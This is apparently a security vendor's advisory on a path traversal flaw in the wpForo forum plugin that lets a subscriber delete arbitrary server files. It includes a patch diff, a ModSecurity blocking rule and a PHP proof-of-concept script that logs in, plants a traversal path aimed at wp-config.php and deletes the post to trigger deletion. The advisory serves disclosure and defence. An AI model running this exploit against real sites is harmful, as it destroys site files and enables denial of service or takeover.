Atomic Edge analysis of CVE-2026-3666:
This vulnerability is an authenticated path traversal and arbitrary file deletion flaw in the wpForo Forum WordPress plugin. The vulnerability exists in the post deletion routine, which fails to properly sanitize file paths extracted from post content. Attackers with subscriber-level access or higher can delete any file on the server that the web process can write to, leading to a high severity impact.
The root cause is the lack of path traversal validation in the `wpforo/classes/Posts.php` file. In the vulnerable version 2.4.16, the `delete()` function (around line 1371) extracts file paths from a post’s body content using a regular expression. It directly concatenates the extracted `$filename` with the base attachments directory to form the `$file` path. This process does not filter directory traversal sequences like `../` or `./`, allowing an attacker to craft a post body that references files outside the intended `wpforo/default_attachments/` directory.
Exploitation requires an authenticated attacker with at least subscriber privileges. The attacker first creates a forum post containing an embedded image or attachment reference with a crafted path traversal payload, such as `../../../wp-config.php`. The plugin’s parsing regex in `Posts.php` will match this path. When the attacker subsequently deletes that post, the plugin’s `delete()` function executes. It searches for the referenced file path and, finding no other posts linking to it, proceeds to call `unlink($file)` on the constructed traversal path, deleting the targeted file.
The patch in version 2.4.17 introduces multiple layers of defense in `wpforo/classes/Posts.php`. First, it adds a sanitization step: `$filename = str_replace( [ ‘../’, ‘./’, ” ], ”, $filename );`. This removes basic traversal sequences. Second, and more critically, it implements a realpath validation check. The code now resolves the full `$real_file` path and the intended base `$real_dir`. It then verifies that the `$real_file` string begins with the `$real_dir . DIRECTORY_SEPARATOR` prefix. If this check fails, the file is skipped, preventing deletion of any file outside the designated directory. This fix ensures the file operation is confined to the intended directory tree.
Successful exploitation leads to arbitrary file deletion. Attackers can delete critical WordPress files like `wp-config.php`, causing site failure and potentially exposing database credentials. They can also delete system files, plugin files, or user-uploaded content, leading to complete site compromise, denial of service, and data loss. This vulnerability could be a precursor to privilege escalation by deleting security or authentication files.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wpforo/classes/Posts.php
+++ b/wpforo/classes/Posts.php
@@ -1371,7 +1371,13 @@
if( preg_match_all( '|/wpforo/default_attachments/([^s"]]+)|i', (string) $post['body'], $attachments, PREG_SET_ORDER ) ) {
foreach( $attachments as $attachment ) {
$filename = trim( $attachment[1] );
+ $filename = str_replace( [ '../', './', '\' ], '', $filename );
$file = WPF()->folders['default_attachments']['dir'] . DIRECTORY_SEPARATOR . $filename;
+ $real_file = realpath( $file );
+ $real_dir = realpath( WPF()->folders['default_attachments']['dir'] );
+ if( ! $real_file || ! $real_dir || strpos( $real_file, $real_dir . DIRECTORY_SEPARATOR ) !== 0 ) {
+ continue;
+ }
if( file_exists( $file ) ) {
$posts = WPF()->db->get_var( "SELECT COUNT(*) as posts FROM `" . WPF()->tables->posts . "` WHERE `body` LIKE '%" . esc_sql( $attachment[0] ) . "%'" );
if( is_numeric( $posts ) && $posts == 1 ) {
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
* Description: WordPress Forum plugin. wpForo is a full-fledged forum solution for your community. Comes with multiple modern forum layouts.
* Author: gVectors Team
* Author URI: https://gvectors.com/
-* Version: 2.4.16
+* Version: 2.4.17
* Requires at least: 5.2
* Requires PHP: 7.2
* Text Domain: wpforo
@@ -14,7 +14,7 @@
namespace wpforo;
-define( 'WPFORO_VERSION', '2.4.16' );
+define( 'WPFORO_VERSION', '2.4.17' );
//Exit if accessed directly
if( ! defined( 'ABSPATH' ) ) exit;
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3666
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:10003666,phase:2,deny,status:403,chain,msg:'CVE-2026-3666 Arbitrary File Deletion via wpForo AJAX',severity:'CRITICAL',tag:'CVE-2026-3666',tag:'wordpress',tag:'wpforo'"
SecRule ARGS_POST:action "@streq wpforo_ajax" "chain"
SecRule ARGS_POST:wpforo_subaction "@streq post_delete" "chain"
SecRule REQUEST_BODY "@rx wpforo/default_attachments/(?:[.\/]*\\)*[.\/][.\/]"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3666 - wpForo Forum <= 2.4.16 - Authenticated (Subscriber+) Arbitrary File Deletion via Post Body
<?php
$target_url = 'http://target-wordpress-site.com'; // CONFIGURE THIS
$username = 'subscriber_user'; // CONFIGURE THIS
$password = 'subscriber_pass'; // CONFIGURE THIS
$file_to_delete = '../../../wp-config.php'; // Relative path traversal to target file
// Step 1: Authenticate and obtain WordPress cookies and nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Step 2: Create a new forum post with the malicious file reference in the body.
// The body must contain a path matching the plugin's regex: /wpforo/default_attachments/{path}
// We embed a traversal sequence to target a file outside the intended directory.
$create_post_url = $target_url . '/wp-admin/admin-ajax.php';
$post_body_content = 'Some forum text. <img src="/wpforo/default_attachments/' . $file_to_delete . '" /> More text.';
$create_data = array(
'action' => 'wpforo_ajax', // This is a generic wpForo AJAX hook; the specific sub-action may vary.
'wpforo_subaction' => 'post_add', // Assumed sub-action for adding a post. May require adjustment based on forum setup.
'post' => array(
'forumid' => 1, // Assumes a valid forum ID. Attacker would need to identify one.
'title' => 'Malicious Post',
'body' => $post_body_content,
'topicid' => 0 // For a new topic
)
);
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($create_data));
$create_response = curl_exec($ch);
// Parse the response to get the new post ID. The actual response structure would need inspection.
// For the PoC, we assume we extract $post_id.
$post_id = 123; // PLACEHOLDER: Attacker would extract this from $create_response.
// Step 3: Delete the newly created post, triggering the vulnerable file deletion routine.
$delete_data = array(
'action' => 'wpforo_ajax',
'wpforo_subaction' => 'post_delete',
'postid' => $post_id
);
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));
$delete_response = curl_exec($ch);
curl_close($ch);
echo "Check if the target file '$file_to_delete' has been deleted.n";
?>